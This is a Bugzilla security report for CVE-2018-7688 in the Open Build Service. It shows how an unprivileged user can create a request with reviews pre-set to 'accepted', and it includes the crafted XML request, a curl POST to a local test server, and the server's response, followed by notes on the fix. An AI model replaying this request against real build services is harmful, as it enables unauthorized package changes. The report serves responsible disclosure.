Bugzilla – Bug 1094820
VUL-0: CVE-2018-7688: obs: Accept arbitrary reviews exploit
Last modified: 2018-06-06 12:55:03 UTC
Description by Marcus: Currently, an unprivileged user can create a new request where all reviews are in the state "accepted" instead of "new". From the OBS' point of view, this is just a bug, but combined with a specific workflow this can be exploited, for instance, to modify a package. For this, consider the following scenario: For each request, the project "testprj" requires two reviews from the users "Admin" and "Bob". Moreover, every hour a script is automatically executed that works as follows: - retrieve all open requests for the project "testprj" - for each such request: accept the request if all of its reviews are in the state "accepted" IMHO, this is legitimate workflow (or at least not an artificial one). Next, assume the user "mallory" wants to modify the "testprj/foo" package. For this, she prepares a "home:mallory/crafted_foo" package and creates the following submit request: marcus@linux:~> cat request.xml <request> <action type="submit"> <source project="home:mallory" package="crafted_foo"/> <target project="testprj" package="foo"/> </action> <review state="accepted" by_user="Admin"/> <review state="accepted" by_user="Bob"/> </request> marcus@linux:~> curl -u mallory:foobar -X POST -T request.xml http://0.0.0.0:3000/request?cmd=create <request id="11" creator="mallory"> <action type="submit"> <source project="home:mallory" package="crafted_foo"/> <target project="testprj" package="foo"/> </action> <state name="new" who="mallory" when="2018-05-27T10:25:17"> <comment/> </state> <review state="accepted" when="2018-05-27T10:25:17" by_user="Admin"/> <review state="accepted" when="2018-05-27T10:25:17" by_user="Bob"/> </request> marcus@linux:~> Unless no one else notices and declines this request, it will be accepted by the script after at most 1 hour. Hence, mallory is (potentially) able to modify the "testprj/foo" package. The problem is that the current request creation code does not check if the user that creates the request has the permission to change the state of each review. The 0001-frontend-Sanitize-the-review-state-during-request-cr.patch patch fixes this in a more conservative way by setting the state of each review to "new" (for the drawback of this approach, see the commit description). Implications Depending on the concrete workflow, an unprivileged user can create a request that is eventually accepted. Among others, this can be used to create, modify, delete a package, to make a user a maintainer of a specific project/package etc. According to [1], such a workflow is not used by the openSUSE:Factory maintainers. [1] https://github.com/openSUSE/open-build-service/issues/4131#issuecomment-368059236 Version information api: git commit b279746bc063adb9fb2be3c17a62807c43fb47bf ´
Use CVE-2018-7688
The patch is now released to OBS 2.9. build.opensuse.org was already patched. I assume we can close the bug now
make it public